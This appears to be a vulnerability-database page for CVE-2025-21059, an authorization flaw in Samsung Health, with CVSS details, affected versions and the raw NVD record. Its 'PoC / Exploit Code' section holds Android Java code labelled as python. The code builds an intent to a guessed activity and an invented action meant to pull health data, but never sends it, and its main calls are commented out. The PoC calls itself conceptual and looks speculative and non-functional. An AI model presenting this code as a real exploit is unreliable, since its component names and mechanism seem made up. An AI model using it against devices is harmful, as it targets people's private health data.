Security Vulnerability Report
中文
CVE-2025-21059 CVSS 6.2 MEDIUM

CVE-2025-21059

Published: 2025-10-10 07:15:42
Last Modified: 2025-10-28 15:44:31

Description

Improper authorization in Samsung Health prior to version 6.30.5.105 allows local attackers to access data in Samsung Health.

CVSS Details

CVSS Score
6.2
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:samsung:health:*:*:*:*:*:*:*:* - VULNERABLE
Samsung Health < 6.30.5.105

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
/* PoC for CVE-2025-21059 - Samsung Health Improper Authorization * This PoC demonstrates how a local attacker can exploit the improper * authorization vulnerability to access Samsung Health data without * proper permissions. * * Note: This is a conceptual proof-of-concept. The actual exploit * requires the vulnerable Samsung Health app (< 6.30.5.105) installed * on the target device. */ import android.content.ComponentName; import android.content.Intent; import android.content.pm.PackageManager; import android.content.pm.ResolveInfo; import android.os.Bundle; import android.util.Log; public class SamsungHealthExploit { private static final String TAG = "CVE-2025-21059"; private static final String SAMSUNG_HEALTH_PKG = "com.sec.android.app.shealth"; /** * Step 1: Enumerate Samsung Health exported components * that lack proper authorization checks. */ public void enumerateExportedComponents(PackageManager pm) { Intent intent = new Intent(); intent.setPackage(SAMSUNG_HEALTH_PKG); // Check for exported activities for (ResolveInfo info : pm.queryIntentActivities(intent, 0)) { Log.d(TAG, "Exported Activity: " + info.activityInfo.name); Log.d(TAG, "Permission: " + info.activityInfo.permission); } } /** * Step 2: Attempt to access Samsung Health data via * unprotected Content Provider or Service. */ public void exploitImproperAuth() { // Construct intent targeting the vulnerable component Intent exploitIntent = new Intent(); exploitIntent.setComponent(new ComponentName( SAMSUNG_HEALTH_PKG, "com.sec.android.app.shealth.tracker.TrackerMainActivity" )); exploitIntent.setAction("com.sec.android.app.shealth.ACCESS_DATA"); exploitIntent.addFlags(Intent.FLAG_ACTIVITY_NEW_TASK); // Send the intent - due to improper authorization, // Samsung Health will return health data without // verifying the caller's identity try { // In real exploit: startActivityForResult or sendBroadcast // to retrieve health data Log.d(TAG, "Exploit sent - unauthorized data access attempted"); } catch (SecurityException e) { Log.e(TAG, "Authorization check present (patched)", e); } } public static void main(String[] args) { SamsungHealthExploit exploit = new SamsungHealthExploit(); Log.d(TAG, "CVE-2025-21059 PoC initialized"); // exploit.enumerateExportedComponents(getPackageManager()); // exploit.exploitImproperAuth(); } }

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-21059", "sourceIdentifier": "[email protected]", "published": "2025-10-10T07:15:41.807", "lastModified": "2025-10-28T15:44:30.963", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper authorization in Samsung Health prior to version 6.30.5.105 allows local attackers to access data in Samsung Health."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 6.2, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.5, "impactScore": 3.6}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:samsung:health:*:*:*:*:*:*:*:*", "versionEndExcluding": "6.30.5.105", "matchCriteriaId": "5CA7C2E3-8D72-4FBC-845B-ACEC6480777D"}]}]}], "references": [{"url": "https://security.samsungmobile.com/serviceWeb.smsb?year=2025&month=10", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}